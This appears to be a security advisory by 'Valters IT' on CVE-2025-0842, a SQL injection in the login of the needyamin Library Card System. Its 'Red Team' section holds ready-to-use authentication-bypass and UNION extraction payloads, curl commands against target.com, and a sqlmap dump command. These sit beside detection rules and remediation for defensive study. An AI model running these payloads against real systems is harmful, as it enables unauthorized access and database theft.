CVE-2025-0842

Executive Summary

CVE-2025-0842 is a critical SQL injection vulnerability discovered in the needyamin Library Card System version 1.0. The flaw resides in the admin.php file, specifically within the Login component. By manipulating the email or password POST parameters, an unauthenticated remote attacker can inject arbitrary SQL commands. This can lead to complete compromise of the backend database, including extraction of sensitive user data, credential theft, and potential lateral movement within the network. The exploit has been publicly disclosed, increasing the risk of widespread scanning and attacks. No official patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application. However, the lack of a patch and the public exploit mean that any organization using this software is at immediate risk. The software should be considered end-of-life or abandoned.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) - The attack can be launched remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - The victim does not need to perform any action.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) - Full database read access.
• Integrity Impact: High (I:H) - Ability to modify or delete data.
• Availability Impact: High (A:H) - Potential to disrupt database service.

Threat Level: Critical. The combination of a public exploit, low attack complexity, and no required privileges makes this a high-priority target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login mechanism of admin.php. The application likely constructs a SQL query by directly concatenating user-supplied input from the email and password POST parameters without proper sanitization or parameterized queries.

Vulnerable Code Logic (Hypothetical):

$email = $_POST['email'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $query);

An attacker can inject SQL by providing a crafted email value such as:

' OR '1'='1' -- -

This would transform the query into:

SELECT * FROM users WHERE email = '' OR '1'='1' -- -' AND password = 'anything'

The -- - comments out the rest of the query, bypassing authentication entirely. More advanced payloads can be used for UNION-based data extraction, error-based injection, or time-based blind injection to enumerate the database schema and extract all records.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

// admin.php - Login handler
$email = $_POST['email'];
$password = $_POST['password'];
$sql = "SELECT * FROM admins WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
    // Login successful
} else {
    // Login failed
}

Patched Code (Hypothetical - using prepared statements):

// admin.php - Login handler
$email = $_POST['email'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM admins WHERE email = ? AND password = ?");
$stmt->bind_param("ss", $email, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
    // Login successful
} else {
    // Login failed
}

The patched version uses parameterized queries (prepared statements) which ensure that user input is treated as data, not executable SQL code. This completely mitigates SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running needyamin Library Card System 1.0
• Access to the /admin.php endpoint

Exploit Steps:

1. Identify the target: Use Shodan or manual scanning to find instances of the Library Card System.
2. Craft the payload: Use a simple authentication bypass payload.
3. Send the request: Use curl or a tool like Burp Suite.

Example curl command for authentication bypass:

curl -X POST http://target.com/admin.php \
  -d "email=' OR '1'='1' -- -&password=anything"

Example UNION-based data extraction:

# Extract database version
curl -X POST http://target.com/admin.php \
  -d "email=' UNION SELECT 1,2,3,@@version,5,6 -- -&password=anything"

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/admin.php" --data="email=test&password=test" --batch --dump

Blue Team (Defensive)

Lab Setup for Detection:

1. Deploy a honeypot: Set up a vulnerable instance of the Library Card System in an isolated environment.
2. Monitor traffic: Use a network tap or SPAN port to capture all HTTP traffic to the honeypot.
3. Analyze logs: Review web server access logs for suspicious patterns.

Detection Indicators:

• HTTP POST requests to /admin.php with unusual characters in the email or password parameters (e.g., single quotes, --, UNION, SELECT).
• Multiple rapid login attempts from the same IP address.
• Responses containing database error messages (e.g., "You have an error in your SQL syntax").

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /admin.php with parameters containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
• Outbound database traffic from the web server to an external IP (data exfiltration).
• Unusual database error messages in HTTP responses.

File IOCs:

• Modified admin.php file (if attacker uploads a web shell).
• New files in the web root (e.g., shell.php, cmd.php).

Log IOCs:

• Web server logs showing admin.php with 400 or 500 status codes.
• Database logs showing failed queries with syntax errors.

Detection Engineering

YARA Rule

rule CVE_2025_0842_SQLi_Admin_Login {
    meta:
        description = "Detects SQL injection attempts targeting admin.php in needyamin Library Card System"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-0842"
    strings:
        $s1 = "admin.php" nocase
        $s2 = "email=" nocase
        $s3 = "password=" nocase
        $sqli1 = /['\"]\s*(OR|AND)\s+['\"]?\s*\d+\s*=\s*\d+/ nocase
        $sqli2 = /UNION\s+SELECT/i
        $sqli3 = /--\s*-/ nocase
    condition:
        all of ($s1, $s2, $s3) and any of ($sqli1, $sqli2, $sqli3)
}

Sigma Rule

title: CVE-2025-0842 SQL Injection Attempt on admin.php
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the admin.php login page of needyamin Library Card System
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin.php'
    keywords:
        - 'email='
        - 'password='
    sqli_patterns:
        - ' OR '
        - ' AND '
        - ' UNION '
        - '--'
        - "'"
    condition: selection and sqli_patterns
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-0842 SQL Injection Attempt on admin.php";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin.php";
    http_uri;
    content:"email=";
    http_client_body;
    pcre:"/(\x27|\x22)\s*(OR|AND)\s+\d+\s*=\s*\d+/i";
    pcre:"/UNION\s+SELECT/i";
    pcre:"/--\s*-/";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: If the Library Card System is internet-facing, immediately take it offline or restrict access via firewall rules to trusted IPs only.
2. Apply a WAF rule: Deploy a Web Application Firewall (e.g., ModSecurity) with a rule to block SQL injection patterns in POST parameters to /admin.php.
3. Change all credentials: Assume all user and admin passwords have been compromised. Force a password reset for all accounts.

Long-Term Fixes:

1. Rewrite the login logic: Replace all dynamic SQL queries with parameterized prepared statements.
2. Input validation: Implement strict input validation and sanitization for all user-supplied data.
3. Upgrade or replace: Since no official patch exists, consider migrating to a supported and secure library management system.
4. Regular security audits: Conduct code reviews and penetration testing for any custom web applications.

Workaround (if patching is not possible):

• Implement a reverse proxy that inspects and sanitizes POST data before it reaches the vulnerable application.
• Disable the admin login page entirely if not needed, or implement IP whitelisting.

Valters IT